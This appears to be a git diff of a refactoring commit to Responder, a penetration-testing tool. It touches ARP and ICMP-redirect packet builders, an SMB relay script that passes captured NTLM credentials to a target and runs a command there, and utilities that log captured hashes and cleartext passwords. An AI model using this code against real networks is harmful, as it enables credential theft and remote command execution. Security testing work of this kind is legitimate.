for i in range(0, len(data), 2):
|
for i in range(0, len(data), 2):
|
||||||
q = ord(data[i]) + (ord(data[i+1]) << 8)
|
q = ord(data[i]) + (ord(data[i+1]) << 8)
|
||||||
f = s+q
|
f = s + q
|
||||||
s = (f & 0xffff) + (f >> 16)
|
s = (f & 0xffff) + (f >> 16)
|
||||||
return struct.pack("<H",~s & 0xffff)
|
return struct.pack("<H",~s & 0xffff)
|
||||||
|
|
||||||
|
@ -117,7 +106,6 @@ class EthARP(Packet):
|
||||||
("DstMac", "\xff\xff\xff\xff\xff\xff"),
|
("DstMac", "\xff\xff\xff\xff\xff\xff"),
|
||||||
("SrcMac", ""),
|
("SrcMac", ""),
|
||||||
("Type", "\x08\x06" ), #ARP
|
("Type", "\x08\x06" ), #ARP
|
||||||
|
|
||||||
])
|
])
|
||||||
|
|
||||||
class ARPWhoHas(Packet):
|
class ARPWhoHas(Packet):
|
||||||
|
@ -131,7 +119,6 @@ class ARPWhoHas(Packet):
|
||||||
("SenderIP", "\x00\xff\x53\x4d"),
|
("SenderIP", "\x00\xff\x53\x4d"),
|
||||||
("DstMac", "\x00\x00\x00\x00\x00\x00"),
|
("DstMac", "\x00\x00\x00\x00\x00\x00"),
|
||||||
("DstIP", "\x00\x00\x00\x00"),
|
("DstIP", "\x00\x00\x00\x00"),
|
||||||
|
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
|
@ -146,7 +133,6 @@ class Eth2(Packet):
|
||||||
("DstMac", ""),
|
("DstMac", ""),
|
||||||
("SrcMac", ""),
|
("SrcMac", ""),
|
||||||
("Type", "\x08\x00" ), #IP
|
("Type", "\x08\x00" ), #IP
|
||||||
|
|
||||||
])
|
])
|
||||||
|
|
||||||
class IPPacket(Packet):
|
class IPPacket(Packet):
|
||||||
|
@ -163,7 +149,6 @@ class IPPacket(Packet):
|
||||||
("SrcIP", ""),
|
("SrcIP", ""),
|
||||||
("DestIP", ""),
|
("DestIP", ""),
|
||||||
("Data", ""),
|
("Data", ""),
|
||||||
|
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
|
@ -184,13 +169,10 @@ class ICMPRedir(Packet):
|
||||||
("CheckSum", "\x00\x00"),
|
("CheckSum", "\x00\x00"),
|
||||||
("GwAddr", ""),
|
("GwAddr", ""),
|
||||||
("Data", ""),
|
("Data", ""),
|
||||||
|
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
#Set the values
|
|
||||||
self.fields["GwAddr"] = inet_aton(OURIP)
|
self.fields["GwAddr"] = inet_aton(OURIP)
|
||||||
# Then CheckSum this packet
|
|
||||||
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
||||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||||
|
|
||||||
|
|
|
@ -14,7 +14,8 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import struct, sys
|
import struct
|
||||||
|
import sys
|
||||||
sys.path.append('../')
|
sys.path.append('../')
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
|
|
||||||
|
|
|
@ -14,13 +14,27 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
|
import sys
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import random
|
||||||
|
import optparse
|
||||||
|
import thread
|
||||||
sys.path.append('../')
|
sys.path.append('../')
|
||||||
from fingerprint import RunSmbFinger
|
from fingerprint import RunSmbFinger
|
||||||
from odict import OrderedDict
|
|
||||||
from utils import longueur
|
|
||||||
from socket import *
|
from socket import *
|
||||||
from RelayPackets import *
|
from RelayPackets import *
|
||||||
|
from packets import *
|
||||||
|
from servers.SMB import *
|
||||||
|
|
||||||
|
import logging
|
||||||
|
Logs = logging
|
||||||
|
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
|
||||||
|
|
||||||
|
|
||||||
|
def longueur(payload):
|
||||||
|
return struct.pack(">i", len(''.join(payload)))
|
||||||
|
|
||||||
|
|
||||||
def UserCallBack(op, value, dmy, parser):
|
def UserCallBack(op, value, dmy, parser):
|
||||||
args=[]
|
args=[]
|
||||||
|
@ -44,19 +58,16 @@ if options.CMD is None:
|
||||||
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
|
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
elif options.TARGET is None:
|
||||||
if options.TARGET is None:
|
|
||||||
print "\n-t mandatory option is missing, please provide a target.\n"
|
print "\n-t mandatory option is missing, please provide a target.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
elif options.UserToRelay is None:
|
||||||
if options.UserToRelay is None:
|
|
||||||
print "\n-u mandatory option is missing, please provide a username to relay.\n"
|
print "\n-u mandatory option is missing, please provide a username to relay.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
ResponderPATH = os.path.dirname(__file__)
|
ResponderPATH = os.path.dirname(__file__)
|
||||||
# Set some vars.
|
|
||||||
UserToRelay = options.UserToRelay
|
UserToRelay = options.UserToRelay
|
||||||
Domain = options.Domain
|
Domain = options.Domain
|
||||||
Command = options.CMD
|
Command = options.CMD
|
||||||
|
@ -81,11 +92,6 @@ class Packet:
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
return "".join(map(str, self.fields.values()))
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
#Logger
|
|
||||||
import logging
|
|
||||||
Logs = logging
|
|
||||||
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
|
|
||||||
|
|
||||||
#Function used to verify if a previous auth attempt was made.
|
#Function used to verify if a previous auth attempt was made.
|
||||||
def ReadData(outfile,Client, User, cmd=None):
|
def ReadData(outfile,Client, User, cmd=None):
|
||||||
try:
|
try:
|
||||||
|
@ -93,19 +99,14 @@ def ReadData(outfile,Client, User, cmd=None):
|
||||||
if cmd is None:
|
if cmd is None:
|
||||||
String = Client+':'+User
|
String = Client+':'+User
|
||||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||||
filestr.close()
|
|
||||||
return True
|
return True
|
||||||
else:
|
return False
|
||||||
return False
|
|
||||||
if cmd is not None:
|
if cmd is not None:
|
||||||
String = Client+","+User+","+cmd
|
String = Client+","+User+","+cmd
|
||||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||||
filestr.close()
|
|
||||||
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
|
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
|
||||||
return True
|
return True
|
||||||
else:
|
return False
|
||||||
return False
|
|
||||||
|
|
||||||
except:
|
except:
|
||||||
raise
|
raise
|
||||||
|
|
||||||
|
@ -123,7 +124,6 @@ def ParseHash(data,Client, Target):
|
||||||
Username, Domain = tuple(var)
|
Username, Domain = tuple(var)
|
||||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||||
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||||
pass
|
|
||||||
if Username in UserToRelay:
|
if Username in UserToRelay:
|
||||||
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||||
print "Username : ",Username
|
print "Username : ",Username
|
||||||
|
@ -135,7 +135,6 @@ def ParseHash(data,Client, Target):
|
||||||
Username, Domain = tuple(var)
|
Username, Domain = tuple(var)
|
||||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||||
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||||
pass
|
|
||||||
if Username in UserToRelay:
|
if Username in UserToRelay:
|
||||||
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||||
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
|
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
|
||||||
|
@ -145,9 +144,6 @@ def ParseHash(data,Client, Target):
|
||||||
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||||
else:
|
else:
|
||||||
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
|
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
raise
|
raise
|
||||||
|
|
||||||
|
@ -157,12 +153,10 @@ def Is_Anonymous(data):
|
||||||
if LMhashLen == 0 or LMhashLen == 1:
|
if LMhashLen == 0 or LMhashLen == 1:
|
||||||
print "SMB Anonymous login requested, trying to force client to auth with credz."
|
print "SMB Anonymous login requested, trying to force client to auth with credz."
|
||||||
return True
|
return True
|
||||||
else:
|
return False
|
||||||
return False
|
|
||||||
|
|
||||||
def ParseDomain(data):
|
def ParseDomain(data):
|
||||||
Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
|
return ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
|
||||||
return Domain
|
|
||||||
|
|
||||||
#Function used to know which dialect number to return for NT LM 0.12
|
#Function used to know which dialect number to return for NT LM 0.12
|
||||||
def Parse_Nego_Dialect(data):
|
def Parse_Nego_Dialect(data):
|
||||||
|
|
130
utils.py
130
utils.py
|
@ -21,7 +21,7 @@ import logging
|
||||||
import socket
|
import socket
|
||||||
import time
|
import time
|
||||||
import settings
|
import settings
|
||||||
import struct
|
|
||||||
try:
|
try:
|
||||||
import sqlite3
|
import sqlite3
|
||||||
except:
|
except:
|
||||||
|
@ -29,26 +29,20 @@ except:
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
def color(txt, code = 1, modifier = 0):
|
def color(txt, code = 1, modifier = 0):
|
||||||
|
|
||||||
if txt.startswith('[*]'):
|
if txt.startswith('[*]'):
|
||||||
settings.Config.PoisonersLogger.warning(txt)
|
settings.Config.PoisonersLogger.warning(txt)
|
||||||
|
|
||||||
elif 'Analyze' in txt:
|
elif 'Analyze' in txt:
|
||||||
settings.Config.AnalyzeLogger.warning(txt)
|
settings.Config.AnalyzeLogger.warning(txt)
|
||||||
|
|
||||||
# No colors for windows...
|
if os.name == 'nt': # No colors for windows...
|
||||||
if os.name == 'nt':
|
|
||||||
return txt
|
return txt
|
||||||
|
|
||||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||||
|
|
||||||
def text(txt):
|
def text(txt):
|
||||||
logging.info(txt)
|
logging.info(txt)
|
||||||
|
|
||||||
if os.name == 'nt':
|
if os.name == 'nt':
|
||||||
return txt
|
return txt
|
||||||
|
return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
|
||||||
return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
|
|
||||||
|
|
||||||
|
|
||||||
def IsOnTheSameSubnet(ip, net):
|
def IsOnTheSameSubnet(ip, net):
|
||||||
|
@ -64,52 +58,36 @@ def RespondToThisIP(ClientIp):
|
||||||
|
|
||||||
if ClientIp.startswith('127.0.0.'):
|
if ClientIp.startswith('127.0.0.'):
|
||||||
return False
|
return False
|
||||||
|
elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
|
||||||
if settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
|
|
||||||
print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp
|
print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp
|
||||||
return False
|
return False
|
||||||
|
elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo:
|
||||||
if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo:
|
|
||||||
return False
|
return False
|
||||||
|
elif ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
|
||||||
if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
|
|
||||||
if ClientIp not in settings.Config.DontRespondTo:
|
if ClientIp not in settings.Config.DontRespondTo:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def RespondToThisName(Name):
|
def RespondToThisName(Name):
|
||||||
|
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
|
||||||
if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName:
|
|
||||||
return False
|
return False
|
||||||
|
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
|
||||||
if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
|
|
||||||
if Name.upper() not in settings.Config.DontRespondToName:
|
if Name.upper() not in settings.Config.DontRespondToName:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def RespondToThisHost(ClientIp, Name):
|
def RespondToThisHost(ClientIp, Name):
|
||||||
return RespondToThisIP(ClientIp) and RespondToThisName(Name)
|
return RespondToThisIP(ClientIp) and RespondToThisName(Name)
|
||||||
|
|
||||||
def IsOsX():
|
|
||||||
return True if settings.Config.Os_version == "darwin" else False
|
|
||||||
|
|
||||||
def OsInterfaceIsSupported():
|
def OsInterfaceIsSupported():
|
||||||
if settings.Config.Interface != "Not set":
|
if settings.Config.Interface != "Not set":
|
||||||
return False if IsOsX() else True
|
return not IsOsX()
|
||||||
else:
|
return False
|
||||||
return False
|
|
||||||
|
|
||||||
def IsOsX():
|
def IsOsX():
|
||||||
Os_version = sys.platform
|
return sys.platform == "darwin"
|
||||||
if Os_version == "darwin":
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
def FindLocalIP(Iface, OURIP):
|
def FindLocalIP(Iface, OURIP):
|
||||||
|
|
||||||
if Iface == 'ALL':
|
if Iface == 'ALL':
|
||||||
return '0.0.0.0'
|
return '0.0.0.0'
|
||||||
|
|
||||||
|
@ -123,40 +101,29 @@ def FindLocalIP(Iface, OURIP):
|
||||||
ret = s.getsockname()[0]
|
ret = s.getsockname()[0]
|
||||||
s.close()
|
s.close()
|
||||||
return ret
|
return ret
|
||||||
else:
|
return OURIP
|
||||||
return OURIP
|
|
||||||
|
|
||||||
except socket.error:
|
except socket.error:
|
||||||
print color("[!] Error: %s: Interface not found" % Iface, 1)
|
print color("[!] Error: %s: Interface not found" % Iface, 1)
|
||||||
sys.exit(-1)
|
sys.exit(-1)
|
||||||
|
|
||||||
# Function used to write captured hashs to a file.
|
# Function used to write captured hashs to a file.
|
||||||
def WriteData(outfile, data, user):
|
def WriteData(outfile, data, user):
|
||||||
|
|
||||||
logging.info("[*] Captured Hash: %s" % data)
|
logging.info("[*] Captured Hash: %s" % data)
|
||||||
|
|
||||||
if not os.path.isfile(outfile):
|
if not os.path.isfile(outfile):
|
||||||
with open(outfile,"w") as outf:
|
with open(outfile,"w") as outf:
|
||||||
outf.write(data)
|
outf.write(data + '\n')
|
||||||
outf.write("\n")
|
return
|
||||||
outf.close()
|
with open(outfile,"r") as filestr:
|
||||||
|
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
||||||
|
return False
|
||||||
|
elif re.search(re.escape("$"), user):
|
||||||
|
return False
|
||||||
|
with open(outfile,"a") as outf2:
|
||||||
|
outf2.write(data + '\n')
|
||||||
|
|
||||||
else:
|
|
||||||
with open(outfile,"r") as filestr:
|
|
||||||
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
|
||||||
filestr.close()
|
|
||||||
return False
|
|
||||||
if re.search(re.escape("$"), user):
|
|
||||||
filestr.close()
|
|
||||||
return False
|
|
||||||
|
|
||||||
with open(outfile,"a") as outf2:
|
|
||||||
outf2.write(data)
|
|
||||||
outf2.write("\n")
|
|
||||||
outf2.close()
|
|
||||||
|
|
||||||
def SaveToDb(result):
|
def SaveToDb(result):
|
||||||
|
|
||||||
# Creating the DB if it doesn't exist
|
# Creating the DB if it doesn't exist
|
||||||
if not os.path.exists(settings.Config.DatabaseFile):
|
if not os.path.exists(settings.Config.DatabaseFile):
|
||||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
|
@ -180,32 +147,23 @@ def SaveToDb(result):
|
||||||
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
||||||
|
|
||||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
# We add a text factory to support different charsets
|
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||||
cursor.text_factory = sqlite3.Binary
|
|
||||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
|
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
|
||||||
(count,) = res.fetchone()
|
(count,) = res.fetchone()
|
||||||
|
|
||||||
if count == 0:
|
if not count:
|
||||||
|
|
||||||
# If we obtained cleartext credentials, write them to file
|
|
||||||
# Otherwise, write JtR-style hash string to file
|
|
||||||
with open(logfile,"a") as outf:
|
with open(logfile,"a") as outf:
|
||||||
if len(result['cleartext']):
|
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||||
outf.write('%s:%s' % (result['user'], result['cleartext']))
|
outf.write('%s:%s\n' % (result['user'], result['cleartext']))
|
||||||
else:
|
else: # Otherwise, write JtR-style hash string to file
|
||||||
outf.write(result['fullhash'])
|
outf.write(result['fullhash'] + '\n')
|
||||||
outf.write("\n")
|
|
||||||
outf.close()
|
|
||||||
|
|
||||||
# Update database
|
|
||||||
cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||||
cursor.commit()
|
cursor.commit()
|
||||||
|
|
||||||
cursor.close()
|
cursor.close()
|
||||||
|
|
||||||
# Print output
|
|
||||||
if count == 0 or settings.Config.Verbose:
|
|
||||||
|
|
||||||
|
if not count or settings.Config.Verbose: # Print output
|
||||||
if len(result['client']):
|
if len(result['client']):
|
||||||
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
|
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
|
||||||
if len(result['hostname']):
|
if len(result['hostname']):
|
||||||
|
@ -224,30 +182,22 @@ def SaveToDb(result):
|
||||||
# Appending auto-ignore list if required
|
# Appending auto-ignore list if required
|
||||||
# Except if this is a machine account's hash
|
# Except if this is a machine account's hash
|
||||||
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
|
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
|
||||||
|
|
||||||
settings.Config.AutoIgnoreList.append(result['client'])
|
settings.Config.AutoIgnoreList.append(result['client'])
|
||||||
print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)
|
print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
print color('[*]', 3, 1), 'Skipping previously captured hash for %s' % result['user']
|
print color('[*]', 3, 1), 'Skipping previously captured hash for %s' % result['user']
|
||||||
|
|
||||||
|
|
||||||
def Parse_IPV6_Addr(data):
|
def Parse_IPV6_Addr(data):
|
||||||
|
|
||||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
if data[len(data)-4:len(data)][1] =="\x1c":
|
||||||
return False
|
return False
|
||||||
|
|
||||||
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
|
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
|
||||||
return True
|
return True
|
||||||
|
|
||||||
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
|
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
|
||||||
return True
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
else:
|
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
|
||||||
return False
|
|
||||||
|
|
||||||
def Decode_Name(nbname):
|
|
||||||
#From http://code.google.com/p/dpkt/ with author's permission.
|
|
||||||
try:
|
try:
|
||||||
from string import printable
|
from string import printable
|
||||||
|
|
||||||
|
@ -259,12 +209,12 @@ def Decode_Name(nbname):
|
||||||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
|
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||||
|
|
||||||
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||||
|
|
||||||
except:
|
except:
|
||||||
return "Illegal NetBIOS name"
|
return "Illegal NetBIOS name"
|
||||||
|
|
||||||
|
|
||||||
def NBT_NS_Role(data):
|
def NBT_NS_Role(data):
|
||||||
Role = {
|
return {
|
||||||
"\x41\x41\x00":"Workstation/Redirector",
|
"\x41\x41\x00":"Workstation/Redirector",
|
||||||
"\x42\x4c\x00":"Domain Master Browser",
|
"\x42\x4c\x00":"Domain Master Browser",
|
||||||
"\x42\x4d\x00":"Domain Controller",
|
"\x42\x4d\x00":"Domain Controller",
|
||||||
|
@ -272,12 +222,10 @@ def NBT_NS_Role(data):
|
||||||
"\x42\x4f\x00":"Browser Election",
|
"\x42\x4f\x00":"Browser Election",
|
||||||
"\x43\x41\x00":"File Server",
|
"\x43\x41\x00":"File Server",
|
||||||
"\x41\x42\x00":"Browser",
|
"\x41\x42\x00":"Browser",
|
||||||
}
|
}.get(data, 'Service not known')
|
||||||
|
|
||||||
return Role[data] if data in Role else "Service not known"
|
|
||||||
|
|
||||||
def banner():
|
def banner():
|
||||||
|
|
||||||
banner = "\n".join([
|
banner = "\n".join([
|
||||||
' __',
|
' __',
|
||||||
' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
|
' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
|
||||||
|
@ -293,6 +241,7 @@ def banner():
|
||||||
print " To kill this script hit CRTL-C"
|
print " To kill this script hit CRTL-C"
|
||||||
print ""
|
print ""
|
||||||
|
|
||||||
|
|
||||||
def StartupMessage():
|
def StartupMessage():
|
||||||
enabled = color('[ON]', 2, 1)
|
enabled = color('[ON]', 2, 1)
|
||||||
disabled = color('[OFF]', 1, 1)
|
disabled = color('[OFF]', 1, 1)
|
||||||
|
@ -342,21 +291,16 @@ def StartupMessage():
|
||||||
|
|
||||||
if settings.Config.Upstream_Proxy:
|
if settings.Config.Upstream_Proxy:
|
||||||
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
|
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
|
||||||
|
|
||||||
if len(settings.Config.RespondTo):
|
if len(settings.Config.RespondTo):
|
||||||
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
|
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
|
||||||
|
|
||||||
if len(settings.Config.RespondToName):
|
if len(settings.Config.RespondToName):
|
||||||
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
|
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
|
||||||
|
|
||||||
if len(settings.Config.DontRespondTo):
|
if len(settings.Config.DontRespondTo):
|
||||||
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
|
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
|
||||||
|
|
||||||
if len(settings.Config.DontRespondToName):
|
if len(settings.Config.DontRespondToName):
|
||||||
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
|
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
|
||||||
|
print "\n\n"
|
||||||
|
|
||||||
print ""
|
|
||||||
print ""
|
|
||||||
|
|
||||||
# Useful for debugging
|
# Useful for debugging
|
||||||
def hexdump(src, l=0x16):
|
def hexdump(src, l=0x16):
|
||||||
|
@ -394,7 +338,3 @@ def hexdump(src, l=0x16):
|
||||||
res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text))
|
res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text))
|
||||||
|
|
||||||
return '\n'.join(res)
|
return '\n'.join(res)
|
||||||
|
|
||||||
def longueur(payload):
|
|
||||||
length = struct.pack(">i", len(''.join(payload)))
|
|
||||||
return length
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue